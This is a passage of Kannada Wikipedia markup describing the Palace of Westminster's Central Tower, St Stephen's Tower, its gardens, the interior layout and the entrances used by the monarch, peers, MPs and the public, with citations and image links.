ನೀಡಲಾಗಿದೆ.<ref>ಜೋನ್ಸ್(೧೯೮೩), pp. ೧೧೨–೧೧೩.</ref><ref>{{Cite web |url=http://www.parliament.uk/visiting/online-tours/virtualtours/bigben-tour/ |title=Clock Tower virtual tour |publisher=UK Parliament |accessdate=15 May 2010 |archive-date=14 ಮೇ 2010 |archive-url=https://web.archive.org/web/20100514103553/http://www.parliament.uk/visiting/online-tours/virtualtours/bigben-tour/ |url-status=dead }}</ref> [[ಚಿತ್ರ:Central Tower, Palace of Westminster.jpg|thumb|upright|left|alt=Photograph|ಶೃಂಗದಂತೆ ವಿನ್ಯಾಸಗೊಳಿಸಲಾದ ಮಧ್ಯ ಗೋಪುರದ ತೆಳು ಕಂಬಗಳು ಅರಮನೆಯ ಕೊನೆಯಲ್ಲಿರುವ ಅತ್ಯಂತ ದೊಡ್ಡ ಚೌಕಾಕಾರದ ಗೋಪುರಗಳಿಗೆ ವೈದೃಶ್ಯವಾಗಿದೆ.]] ಅರಮನೆಯ ಮೂರು ಮುಖ್ಯ ಗೋಪುರಗಳಲ್ಲಿ ಕಡಿಮೆ ಎತ್ತರದಲ್ಲಿರುವ ಗೋಪುರವೆಂದರೆ ({{Convert|91.4|m|ft}}<ref name="Factsheet G11"/>ರಷ್ಟು ಎತ್ತರ) ಅಷ್ಟಕೋನೀಯ ಆಕಾರದಲ್ಲಿರುವ ಸೆಂಟ್ರಲ್ ಟವರ್, ಇದು ಕಟ್ಟಡ ಮಧ್ಯಭಾಗದಲ್ಲಿ, ಮಧ್ಯ ಪ್ರವೇಶಾಂಗಣದ ಮೇಲ್ಭಾಗದಲ್ಲಿದೆ. ಇದನ್ನು ಡಾ ಡೇವಿಡ್ ಬೋಸ್ವೇಲ್ ರೆಯಿಡ್ ರ ಒತ್ತಾಯದ ಮೇರೆಗೆ ಯೋಜನೆಗೆ ಅಳವಡಿಸಲಾಯಿತು. ಇವರು ಹೊಸ ಸಂಸತ್ತು ಭವನಗಳಲ್ಲಿ ಸರಿಯಾದ ಗಾಳಿ ಬೆಳಕಿನ ವ್ಯವಸ್ಥೆಯ ಬಗ್ಗೆ ಮೇಲ್ವಿಚಾರಣೆ ವಹಿಸಿದ್ದರು.ಅವರ ಯೋಜನೆಯ ಪ್ರಕಾರ ಮಧ್ಯಭಾಗದಲ್ಲಿ ಒಂದು ದೊಡ್ಡದಾದ ಚಿಮಣಿಯನ್ನು ನಿರ್ಮಿಸಬೇಕಿತ್ತು, ಇದರಿಂದ "ಕಲುಷಿತ ಗಾಳಿಯು" ಅರಮನೆಯ ಸುತ್ತಲೂ ಇರುವ ನಾನೂರು ವಿವಿಧ ಬಗೆಯ ಕೃತಕ ಶಾಖಗಳಿಂದ ಉಂಟಾಗುವ ತಾಪ ಹಾಗು ಹೊಗೆಯು ಕಟ್ಟಡದಿಂದ ಹೊರಕ್ಕೆ ಹೋಗುವ ವ್ಯವಸ್ಥೆಯಾಗುತ್ತಿತ್ತು.<ref>ಪೋರ್ಟ್(೧೯೭೬), p. ೨೨೧; ಜೋನ್ಸ್(೧೯೮೩), p. ೧೧೯.</ref> ಗೋಪುರದಲ್ಲಿ ಎಲ್ಲರಿಗೂ ಸ್ಥಳಾವಕಾಶ ಕಲ್ಪಿಸಲು, ಬ್ಯಾರಿಯವರು ಸೆಂಟ್ರಲ್ ಲಾಬಿಗೆ ಯೋಜಿಸಿದ್ದ ಮೇಲೇರುತ್ತಾ ಹೋಗುವ ತಾರಸಿಯ ಎತ್ತರವನ್ನು ಕಡಿಮೆ ಮಾಡಲು ಹಾಗು ಕಿಟಕಿಗಳ ಎತ್ತರವನ್ನು ತಗ್ಗಿಸಲು ಒತ್ತಡ ಬೀಳುವಂತೆ ನಿರ್ಮಿಸಿದ್ದರು;<ref>ಜೋನ್ಸ್ (೧೯೮೩), pp. ೧೦೮–೧೦೯; ಫೀಲ್ಡ್ (೨೦೦೨), p. ೧೮೯.</ref> ಆದಾಗ್ಯೂ, ಈ ಗೋಪುರವೇ ಅರಮನೆಯ ಬಾಹ್ಯ ವಿನ್ಯಾಸದಲ್ಲಿ ಸುಧಾರಣೆ ತರುವ ಅವಕಾಶ ಒದಗಿಸಿತು,<ref name="Riding, p. 120">ರೈಡಿಂಗ್ ಅಂಡ್ ರೈಡಿಂಗ್ (೨೦೦೦), p. ೧೨೦.</ref> ಅದಲ್ಲದೇ ಬ್ಯಾರಿ, ಬೃಹತ್ತಾದ ಪಾರ್ಶ್ವಕ ಗೋಪುರಗಳನ್ನು ಸಮತೋಲನ ಮಾಡಲು ಇದಕ್ಕಾಗಿ ಶಿಖರದ ಮಾದರಿ ವಿನ್ಯಾಸಕ್ಕೆ ಹೆಚ್ಚು ಒತ್ತು ನೀಡಿದರು.<ref>ಪೋರ್ಟ್(೧೯೭೬), p. ೧೦೩.</ref> ಅಂತಿಮವಾಗಿ, ಸೆಂಟ್ರಲ್ ಟವರ್ ಸಂಪೂರ್ಣವಾಗಿ ತನ್ನ ನಿಗದಿತ ಉದ್ದೇಶವನ್ನು ಸಫಲಗೊಳಿಸುವಲ್ಲಿ ವಿಫಲವಾಯಿತು. ಆದರೆ "ವಾಸ್ತುವಿನ್ಯಾಸದ ಮೇಲೆ ಯಂತ್ರದ ಸೇವೆಗಳು ನಿಜವಾದ ಪ್ರಭಾವ ಬೀರಿದ ಮೊದಲ ಸಂದರ್ಭವೆಂಬುದು" ಬಹಳ ಗಮನಾರ್ಹವಾಗಿದೆ.<ref>{{Cite book |last=Collins |first=Peter |title=Changing Ideals in Modern Architecture 1750–1950 |year=1965 |page=238}} ಪೋರ್ಟ್(೧೯೭೬) ನಲ್ಲಿ ನೀಡಲಾಗಿದೆ, p. ೨೦೬.</ref> ಅರಮನೆಯ ಮುಮ್ಭಾಗದುದ್ದಕ್ಕೂ ಕಿಟಕಿಯ ಹೊರಚಾಚಿನ ನಡುವೆ ಮೇಲಕ್ಕೇರುವ ಶಿಖರಗಳ ಹೊರತಾಗಿಯೂ, ಅಸಂಖ್ಯಾತ ಸಣ್ಣ ಗೋಪುರಗಳು ಕಟ್ಟಡದ ಉನ್ನತ ಸೌಧಗಳನ್ನು ಜೀವಂತಗೊಳಿಸಿವೆ. ಸೆಂಟ್ರಲ್ ಟವರ್ ನ ಮಾದರಿ, ಇವುಗಳನ್ನು ಕೆಲವು ಕಾರ್ಯತಃ ಕಾರಣಗಳಿಗೆ, ಹಾಗು ಅಲ್ಲಿನ ಗಾಳಿ ಬೆಳಕಿನ ಕೊಳವೆಗಂಬಗಳಿಗಾಗಿ ಸೇರ್ಪಡೆ ಮಾಡಲಾಗಿದೆ.<ref name="Riding, p. 120"/> {{Section|St. Stephen's Tower}}ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ಕೆಲ ಇತರ ವಿಶಿಷ್ಟ ಲಕ್ಷಣಗಳನ್ನೂ ಸಹ ಗೋಪುರಗಳು ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. [[:File:St Stephen's Tower.jpg|ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ಟವರ್]], ಅರಮನೆಯ ಪಶ್ಚಿಮ ದ್ವಾರದ ಮಧ್ಯದಲ್ಲಿ ನೆಲೆಯಾಗಿದೆ, ಇದು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್ ಹಾಗು ಹಳೆ ಅರಮನೆ ಅಂಗಳದ ನಡುವೆಯಿದೆ. ಇದು ''ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ದ್ವಾರ'' ವೆಂಬ ಹೆಸರಿನಿಂದ ಸಂಸತ್ತು ಭವನಗಳಿಗೆ ಸಾರ್ವಜನಿಕ ಪ್ರವೇಶವಕಾಶ ಒದಗಿಸುತ್ತದೆ.<ref>{{Cite web |url=http://www.publications.parliament.uk/pa/cm200102/cmselect/cmcomm/1002/100208.htm |title=Department of the Serjeant at Arms Annual Report 2001–02 |date=2 July 2002 |publisher=House of Commons Commission |accessdate=28 April 2010 |quote=St Stephen's Tower: This project involved the renovation and re-modelling of offices on four floors above St Stephen's Entrance.}}</ref> ನದಿಗೆ ಅಭಿಮುಖ ವಾಗಿರುವ ಉತ್ತರ ಹಾಗು ದಕ್ಷಿಣದ ತುದಿಗಳ ಆವರಣ ಕಟ್ಟುಗಳನ್ನು ಕ್ರಮವಾಗಿ ಸ್ಪೀಕರ್ಸ್ ಟವರ್ ಹಾಗು ಚ್ಯಾನ್ಸಲರ್ಸ್ ಟವರ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ.<ref name="Factsheet G12"/> ಇವುಗಳು ಅರಮನೆಯ ಮರು ನಿರ್ಮಾಣದ ಸಮಯದಲ್ಲಿ ಎರಡೂ ಸದನಗಳ ಅಧಿಕಾರವನ್ನು ವಹಿಸಿಕೊಂಡಿದ್ದ ಸಭಾಧ್ಯಕ್ಷರ ಗೌರವಾರ್ಥವಾಗಿ ಇಟ್ಟಿರುವ ಹೆಸರುಗಳಾಗಿವೆ—ಸ್ಪೀಕರ್ ಆಫ್ ದಿ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಹಾಗು ಲಾರ್ಡ್ ಹೈ ಚ್ಯಾನ್ಸಲರ್. ಸ್ಪೀಕರ್ಸ್ ಟವರ್, ಸ್ಪೀಕರ್ಸ್ ಅವರ ನಿವಾಸವನ್ನು ಒಳಗೊಂಡಿದೆ; ಇದು ಕಾಮನ್ಸ್ ನ ಸ್ಪೀಕರ್ ರ ಅಧಿಕೃತ ನಿವಾಸವಾಗಿದೆ.<ref>ವಿಲ್ಸನ್ (೨೦೦೫), p. ೩೨.</ref> === ನೆಲದ ಮೇಲಣದ ಸೌಂದರ್ಯ === [[ಚಿತ್ರ:Statue of Oliver Cromwell outside Palace of Westminster.jpg|thumb|right|alt=Photograph|ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದ ಹೊರಗಿರುವ ಕ್ರಾಮ್ ವೆಲ್ ಗ್ರೀನ್, ಆಲಿವರ್ ಕ್ರಾಮ್ ವೆಲ್ ರ ಹ್ಯಾಮೊ ಥ್ರೋನಿಕ್ರಾಫ್ಟ್ ರ ಕಂಚಿನ ಮೂರ್ತಿ ಇರುವಂತಹ ಸ್ಥಳವಾಗಿದೆ. ಇದನ್ನು 1899ರಲ್ಲಿ ವಿವಾದಗಳ ನಡುವೆ ಇದನ್ನು ಸ್ಥಾಪಿಸಲಾಯಿತು.<ref>ರೈಡಿಂಗ್ ಅಂಡ್ ರೈಡಿಂಗ್ (2000), p. 268.</ref>]] ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ಸುತ್ತಮುತ್ತಲೂ ಹಲವಾರು ಸಣ್ಣ ಉದ್ಯಾನವನಗಳಿವೆ. ವಿಕ್ಟೋರಿಯಾ ಟವರ್ ಗಾರ್ಡನ್ಸ್, ಸಾರ್ವಜನಿಕರಿಗಾಗಿ ಮುಕ್ತ ಉದ್ಯಾನವನವಾಗಿದ್ದು, ಅರಮನೆಯ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿರುವ ನದಿಯ ಪಕ್ಕದಲ್ಲಿದೆ. ಬ್ಲ್ಯಾಕ್ ರಾಡ್'ಸ್ ಉದ್ಯಾನವನವು (ಇದು ಬ್ಲ್ಯಾಕ್ ರಾಡ್ ನ ಜೆಂಟಲ್ಮ್ಯಾನ್ ಅಶರ್ ಕಚೇರಿಯಿಂದ ತನ್ನ ಹೆಸರನ್ನು ಪಡೆದುಕೊಂಡಿದೆ ರಾಜಭವನಗಳಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುವವರಿಗೆ ನೀಡುವ ಹುದ್ದೆ ಬಿರುದು.) ಸಾರ್ವಜನಿಕರ ಪ್ರವೇಶಕ್ಕೆ ನಿಷಿದ್ಧವಾಗಿದೆ; ಹಾಗು ಇದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಖಾಸಗಿ ದ್ವಾರವಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ಅರಮನೆಯ ಮುಂಭಾಗದಲ್ಲಿರುವ ಹಳೆ ಅರಮನೆ ಅಂಗಳವನ್ನು ಹೆಂಚಿನಿಂದ ಹೊದೆಸಿ ನೆಲೆಗಟ್ಟು ಮಾಡಲಾಗಿದೆ;ಹಾಗು ಕಾಂಕ್ರೀಟ್ ಭದ್ರತಾ ಇಟ್ಟಿಗೆಗಳಿಂದ ಮುಚ್ಚಲಾಗಿದೆ.(''ಕೆಳಗೆ ಉಲ್ಲೇಖಿಸಿರುವ ಭದ್ರತಾ ವಿಭಾಗವನ್ನು ನೋಡಿ'' ). ಕ್ರಾಮ್ವೆಲ್ ಗ್ರೀನ್(ಇದೂ ಸಹ ಮುಂಭಾಗದಲ್ಲಿವೆ, ಹಾಗು ೨೦೦೬ರಲ್ಲಿ ಹೊಸತಾದ ಪ್ರವಾಸಿ ಕೇಂದ್ರವನ್ನಾಗಿ ನಿರ್ಮಿಸಲು ಹಲಗೆ ಬೇಲಿಯಿಂದ ಮುಚ್ಚಲಾಗಿದೆ), ಹೊಸ ಅರಮನೆ ಅಂಗಳ(ಉತ್ತರ ದಿಕ್ಕು) ಹಾಗು ಸ್ಪೀಕರ್ಸ್ ಗ್ರೀನ್(ನೇರವಾಗಿ ಅರಮನೆಯ ಉತ್ತರ ದಿಕ್ಕಿನಲ್ಲಿದೆ.) ಇದೆಲ್ಲವೂ ಖಾಸಗಿಯಾಗಿದ್ದು, ಸಾರ್ವಜನಿಕರ ಪ್ರವೇಶಕ್ಕೆ ಅನುಮತಿ ನೀಡಲಾಗುವುದಿಲ್ಲ. ಕಾಲೇಜ್ ಗ್ರೀನ್, ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಎದುರು ಭಾಗದಲ್ಲಿದೆ, ಇದು ಒಂದು ಸಣ್ಣದಾದ ತ್ರಿಕೋನಾಕಾರದ ಹಸಿರು ಉದ್ಯಾನವನವಾಗಿದ್ದು, ಸಾಮಾನ್ಯವಾಗಿ ರಾಜಕಾರಣಿಗಳೊಂದಿಗೆ ದೂರದರ್ಶನಕ್ಕಾಗಿ ನಡೆಸುವ ಸಂದರ್ಶನಗಳನ್ನು ಇಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಗುತ್ತದೆ. == ಒಳಾಂಗಣ == ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯು ೧,೧೦೦ಕ್ಕೂ ಅಧಿಕ ಕೊಠಡಿಗಳು, ೧೦೦ ಮೆಟ್ಟಿಲ ಸಾಲುಗಳು ಹಾಗು {{Convert|4.8|km|sigfig=1}}ರಷ್ಟು ನಡುವಂಕಣಗಳು,<ref name="Factsheet G11"/> ನಾಲ್ಕು ಸಭಾಂಗಣಗಳಿಗೂ ಮೀರಿ ಹೆಚ್ಚಿನ ಭಾಗದಲ್ಲಿ ಆವೃತವಾಗಿದೆ. ನೆಲ ಅಂತಸ್ತಿನಲ್ಲಿ ಕಛೇರಿಗಳು, ಊಟದ ಕೊಠಡಿಗಳು ಹಾಗು ಬಾರ್ ಗಳಿವೆ; ಮೊದಲ ಅಂತಸ್ತು(''ಪ್ರಧಾನ ಅಂತಸ್ತು'' ಎಂದು ಕರೆಯಲ್ಪಡುತ್ತದೆ.) ಅರಮನೆಯ ಮುಖ್ಯ ಕೊಠಡಿಗಳನ್ನು ಹೊಂದಿದೆ, ಇದರಲ್ಲಿ ಚರ್ಚಾ ಕೊಠಡಿಗಳು, ಲಾಬಿಗಳು ಹಾಗು ಗ್ರಂಥಾಲಯಗಳು ಸೇರಿವೆ. ಮೇಲ್ಭಾಗದ ಎರಡು ಅಂತಸ್ತುಗಳನ್ನು ಸಮಿತಿ ಸಭಾ ಕೊಠಡಿಗಳು ಹಾಗು ಕಛೇರಿಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಲಾಗುತ್ತವೆ. === ವಿನ್ಯಾಸರಚನೆ === [[ಚಿತ್ರ:Palace of Westminster plan, F. Crace, high resolution.png|thumb|left|300px|ಮುಖ್ಯ ಮಹಡಿಯ ವಿನ್ಯಾಸ (ಉತ್ತರಭಾಗವು ಬಲಭಾಗದಲ್ಲಿದೆ). ಎರಡು ಹೌಸ್ ಗಳ ಚರ್ಚಾ ಕೊಠಡಿಗಳು ಮತ್ತು ಕೇಂದ್ರ ಲಾಬಿಯ ವಿರುದ್ಧ ದಿಕ್ಕಿನಲ್ಲಿದ್ದ ಮತ್ತು ಅರಮನೆಯ ಮಧ್ಯಭಾಗದ ಭಾಗವಾಗಿರುವ ಅವರ ಮುಂಚಿನ ಕೊಠಡಿಗಳು. ಇವುಗಳು ದಕ್ಷಿಣಕ್ಕಿರುವ ಔಪಚಾರಿಕ ಕೊಠಡಿಗಳ ಪೀಠೋಪಕರಣಗಳನ್ನು ಒಳಗೊಂಡಿದೆ.ವಿಕ್ಟೋರಿಯ ಗೋಪುರವು ನೈಖುತ್ಯ ಮೂಲೆಯನ್ನು ಆವರಿಸಿದರೆ ಸ್ಪೀಕರ್‌ ರ ಮನೆಯು ಈಶಾನ್ಯ ಮೂಲೆಯನ್ನು ಆವರಿಸಿದೆ; ಕ್ಲಾಕ್ ಗೋಪುರವು ಉತ್ತರಕ್ಕೆ ದೂರದಲ್ಲಿದ್ದರೆ, ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣ ಪಶ್ಚಿಮಕ್ಕಿದೆ.]] ಒಂದೇ ಒಂದು ಮುಖ್ಯ ದ್ವಾರದ ಬದಲಿಗೆ, ಅರಮನೆಯು, ವಿವಿಧ ಸಮೂಹಗಳ ಬಳಕೆಗೆ ಪ್ರತ್ಯೇಕ ಪ್ರವೇಶದ್ವಾರಗಳನ್ನು ಹೊಂದಿದೆ. ರಾಜ ದ್ವಾರವು, ಸಾವೆರಿನ್ಸ್ ಎಂಟ್ರನ್ಸ್ ವಿಕ್ಟೋರಿಯಾ ಗೋಪುರದ ನೆಲ ಅಂತಸ್ತಿನಲ್ಲಿದೆ, ಇದು ಅರಮನೆಯ ನೈಋತ್ಯ ಮೂಲೆಯಲ್ಲಿ ಸ್ಥಿತವಾಗಿದೆ, ಹಾಗು ಇದು ರಾಜವಂಶದಲ್ಲಿ ನಡೆಯುವ ಮೆರವಣಿಗೆಗಳ ಆರಂಭಿಕ ಸ್ಥಳವಾಗಿದೆ. ಇದನ್ನು ರಾಜರುಗಳು ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದ ಆರಂಭಗಳಲ್ಲಿ ಇರುವ ಔಪಚಾರಿಕ ಕೊಠಡಿಗಳ ಸಮೂಹ ಎನ್ನಲಾಗಿದೆ. ಇದು ರಾಜರಿಗಾಗಿ ಮೆಟ್ಟಿಲ ಸಾಲು, ನಾರ್ಮನ್ ದ್ವಾರಮಂಟಪ, ವಸ್ತ್ರಾಲಂಕಾರ ಕೊಠಡಿ, ರಾಜರಿಗಾಗಿ ಗ್ಯಾಲರಿ ಹಾಗು ಯುವರಾಜನ ಕೊಠಡಿಯನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ. ಇವೆಲ್ಲವೂ ಸಮಾರಂಭವು ನಡೆಯುವ ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿಯೊಂದಿಗೆ ತುದಿಮುಟ್ಟುತ್ತವೆ. ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಸದಸ್ಯರು, ಹಳೆ ಅರಮನೆಯ ಆವರಣದ ಮಧ್ಯಭಾಗದಲ್ಲಿರುವ ವರಿಷ್ಠವರ್ಗದ ದ್ವಾರವನ್ನು ಬಳಕೆಮಾಡುತ್ತಾರೆ.ಇದು ಕಲ್ಲಿನ ಸಾರೋಟು ದ್ವಾರಮಂಟಪದಿಂದ ಮುಚ್ಚಲ್ಪಟ್ಟಿದೆ ಹಾಗು ಇದು ಸಭಾಂಗಣದ ಪ್ರವೇಶಕ್ಕೆ ದಾರಿ ಮಾಡಿಕೊಡುತ್ತದೆ. ಅಲ್ಲಿಂದ ಒಂದು ಮೆಟ್ಟಿಲ ಸಾಲು, ಕಾರಿಡಾರ್ ನ ಮೂಲಕ ಯುವರಾಜನ ಕೊಠಡಿಗೆ ಕೊಂಡೊಯ್ಯುತ್ತದೆ.<ref name="Guide, p. 28">''ಗೈಡ್ ಟು ದಿ ಪ್ಯಾಲೆಸ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ '' , p. ೨೮.</ref> ಸಂಸತ್ತಿನ ಸದಸ್ಯರು ತಮ್ಮ ತಮ್ಮ ಕೊಠಡಿಗಳಿಗೆ, ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿರುವ ಹೊಸ ಅರಮನೆ ಆವರಣದಲ್ಲಿರುವ ಸದಸ್ಯರ ಪ್ರವೇಶ ದ್ವಾರದ ಮೂಲಕ ಪ್ರವೇಶಿಸುತ್ತಾರೆ. ಅವರ ಮಾರ್ಗವು ಸನ್ಯಾಸಿ ಗೃಹಗಳ ನೆಲಮಟ್ಟದ ಉಡುಪು ಕೋಣೆಯ ಮೂಲಕ ಹಾದು ಹೋಗುತ್ತದೆ, ಹಾಗು ಅಂತಿಮವಾಗಿ ದಕ್ಷಿಣದಲ್ಲಿರುವ ಕಾಮನ್ಸ್ ಕೊಠಡಿಗೆ ನೇರವಾಗಿ ಸದಸ್ಯರ ಲಾಬಿಗೆ ಸಂಪರ್ಕ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ಅರಮನೆ ಅಂಗಳದಿಂದ, ಸ್ಪೀಕರ್ಸ್ ಕೋರ್ಟ್ ಹಾಗು ಸ್ಪೀಕರ್ ನಿವಾಸದ ಮುಖ್ಯ ದ್ವಾರಕ್ಕೆ ಪ್ರವೇಶವನ್ನು ಪಡೆಯಬಹುದು, ಇದು ಅರಮನೆಯ ಈಶಾನ್ಯ ಮೂಲೆಯ ಆವರಣ ಕಟ್ಟಿನಲ್ಲಿ ಸ್ಥಿತವಾಗಿದೆ. ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ದ್ವಾರ, ಸರಿಸುಮಾರು ಕಟ್ಟಡದ ಪಶ್ಚಿಮ ದಿಕ್ಕಿನ ಮುಂಭಾಗದಲ್ಲಿ ಮಧ್ಯಭಾಗಕ್ಕೆ ಕಂಡುಬರುತ್ತದೆ, ಇಲ್ಲಿ ಸಾರ್ವಜನಿಕ ಸದಸ್ಯರಿಗೆ ಪ್ರವೇಶ ದೊರಕುತ್ತದೆ. ಅಲ್ಲಿಂದ, ಅರಮನೆಗೆ ಭೇಟಿ ನೀಡುವವರು ಸರಣಿ ಪ್ರವೇಶಾಂಗಣಗಳ ಹಾಗು ಸಾಲು ಮೆಟ್ಟಿಲುಗಳ ಮೂಲಕ ಹಾದು ಹೋಗುತ್ತಾರೆ, ಇದು ಅವರಿಗೆ ಪ್ರಧಾನ ಅಂತಸ್ತಿನ ಮಟ್ಟಕ್ಕೆ ಹಾಗು ಅರಮನೆಯ ಕೇಂದ್ರಬಿಂದುವಾದ ಅಷ್ಟಕೋನೀಯ ಆಕಾರದ ಸೆಂಟ್ರಲ್ ಲಾಬಿಗೆ ಕರೆತರುತ್ತದೆ. ಈ ಸಭಾಂಗಣವು, ಗಾರೆ ಹಸಿಯಾಗಿರುವಾಗಲೇ ಬರೆದ ಚಿತ್ರಗಳಿಂದ ಅಲಂಕೃತಗೊಂಡ ಸಮ್ಮಿತೀಯ ಕಾರಿಡಾರ್ ನ ಪಕ್ಕದಲ್ಲಿದೆ. ಇದು ಹೊರ ಕೋಣೆಗಳು ಹಾಗು ಎರಡೂ ಸದನಗಳ ಚರ್ಚಾ ಕೊಠಡಿಗಳಿಗೆ ದಾರಿ ಮಾಡಿಕೊಡುತ್ತದೆ; ಸದಸ್ಯರ ಲಾಬಿ ಹಾಗು ಉತ್ತರದಲ್ಲಿರುವ ಕಾಮನ್ಸ್ ಚೇಂಬರ್ ಹಾಗು ವರಿಷ್ಠ ವರ್ಗದ ಹೊರಾಂಗಣ ಲಾಬಿ ಹಾಗು ದಕ್ಷಿಣಕ್ಕೆ ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿಯಿದೆ. ಮತ್ತೊಂದು ಗೋಡೆಯ ಸಾಲಿನ ಕಾರಿಡಾರ್ ಪೂರ್ವ ಭಾಗವನ್ನು ಕೆಳಭಾಗದ ನಿರೀಕ್ಷಣಾ ಸಭಾಂಗಣಕ್ಕೆ ಹಾಗು ಮೊದಲ ಅಂತಸ್ತಿನ ಮೆಟ್ಟಿಲ ಸಾಲಿಗೆ ದಾರಿ ಕಲ್ಪಿಸಿಕೊಡುತ್ತದೆ. ಇಲ್ಲಿ ನದಿಗೆ ಅಭಿಮುಖವಾಗಿ ಸಾಲಾಗಿ ೧೬ ಕಮಿಟಿ ಕೊಠಡಿಗಳು ಆಕ್ರಮಿಸಿಕೊಂಡಿವೆ. ಇದಕ್ಕೆ ನೇರವಾಗಿ ಕೆಳ ಭಾಗದಲ್ಲಿ, ಎರಡು ಮನೆಗಳ ಗ್ರಂಥಾಲಯಗಳು, ಪ್ರಧಾನ ಅಂತಸ್ತಿನಿಂದ ಥೇಮ್ಸ್ ನದಿಯನ್ನು ಕಾಣಬಹುದು. === ನಾರ್ಮನ್ ದ್ವಾರಮಂಟಪ === ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಗೆ ಅತ್ಯಂತ ಬೃಹತ್ತಾದ ಪ್ರವೇಶ ದ್ವಾರವೆಂದರೆ ವಿಕ್ಟೋರಿಯಾ ಗೋಪುರದ ಕೆಳಗಿರುವ ರಾಜ ದ್ವಾರ. ಇದನ್ನು ರಾಜರ ಬಳಕೆಗಾಗಿ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿತ್ತು, ಇವರುಗಳು ಪ್ರತಿ ವರ್ಷವೂ ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದ ಆರಂಭಕ್ಕೆ ಸಾರೋಟಿನ ಮೂಲಕ ಬಕಿಂಗ್ಹ್ಯಾಮ್ ಅರಮನೆಗೆ ಪ್ರಯಾಣ ಬೆಳೆಸುತ್ತಿದ್ದರು.<ref name="Lords Route tour">{{Cite web |url=http://www.parliament.uk/visiting/online-tours/virtualtours/lords-route/ |title=Lords Route virtual tour |publisher=UK Parliament |accessdate=5 August 2010 |archive-date=16 ಆಗಸ್ಟ್ 2010 |archive-url=https://web.archive.org/web/20100816131858/http://www.parliament.uk/visiting/online-tours/virtualtours/lords-route/ |url-status=dead }}</ref> ಸಾಮ್ರಾಜ್ಯಶಾಹಿ ರಾಜನ ಕಿರೀಟವನ್ನು, ರಾಜನು ಸಮಾರಂಭದಲ್ಲಿ ಧರಿಸುತ್ತಿದ್ದನು, ಜೊತೆಯಲ್ಲಿ ನಿರ್ವಹಣಾ ಟೋಪಿ ಹಾಗು ರಾಜ್ಯದ ಕತ್ತಿಯನ್ನು ಬಳಸುತ್ತಿದ್ದನು. ಇವೆಲ್ಲವೂ ರಾಜನ ಅಧಿಕಾರದ ಸಂಕೇತಗಳಾಗಿದ್ದವು ಹಾಗು ಇದನ್ನು ಮೆರವಣಿಗೆ ಮುನ್ನ ವಂಶಲಾಂಛನವಾಗಿ ರಾಜನು ಧರಿಸುತ್ತಿದ್ದನು. ಅಲ್ಲದೆ ಅರಮನೆಗೆ ಸಾರೋಟಿನಲ್ಲಿ ಪ್ರಯಾಣಿಸುತ್ತಿದ್ದನು,ಈತನನ್ನು ಇತರ ರಾಜ ವಂಶಸ್ಥರು ಜೊತೆಗೂಡುತ್ತಿದ್ದರು; ಇವರನ್ನು ಒಟ್ಟಾರೆಯಾಗಿ ರೆಗಾಲಿಯ(ವಿಶಿಷ್ಟ ರಾಜಲಾಂಛನಗಳು) ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ಇವರುಗಳು ರಾಜನು ಬರುವ ಸ್ವಲ್ಪ ಮೊದಲು ಬಂದಿರುತ್ತಿದ್ದರು, ಹಾಗು ಅವುಗಳ ಅಗತ್ಯ ಬೀಳುವವರೆಗೂ ರಾಜನ ಗ್ಯಾಲರಿಯಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಾಗಿ ಇರಿಸಲಾಗಿರುತ್ತಿತ್ತು. ರಾಜನ ದ್ವಾರವು, ಅರಮನೆಗೆ ಭೇಟಿ ನೀಡುವ ಇತರ ಪ್ರತಿಷ್ಠಿತರೂ ಸಹ ಬಳಸಬಹುದಾದ ಅಧಿಕೃತ ಪ್ರವೇಶ ದ್ವಾರವಾಗಿತ್ತು,<ref>{{Cite web |url=http://www.flickr.com/photos/uk_parliament/3406081239/ |title=President of France arrives at Parliament |author=UK Parliament |date=2 April 2009 |work=[[Flickr]] |accessdate=29 January 2010}}</ref><ref>{{Cite web |url=http://www.flickr.com/photos/uk_parliament/3406096131/ |title=President of Mexico and the Mexican First Lady arrive at Parliament |author=UK Parliament |date=2 April 2009 |work=[[Flickr]] |accessdate=29 January 2010}}</ref> ಅಲ್ಲದೇ ಅರಮನೆಯನ್ನು ಸುತ್ತು ಹಾಕುವ ಸಾರ್ವಜನಿಕರಿಗೆ ಆರಂಭಿಕ ಸ್ಥಳವಾಗಿತ್ತು.<ref>ವಿಲ್ಸನ್ (೨೦೦೫), ಮುಖಪುಟದ ಒಳಗೆ.</ref> ಅಲ್ಲಿಂದ, ರಾಜರು ಬಳಸುತ್ತಿದ್ದ ಮೆಟ್ಟಿಲ ಸಾಲು 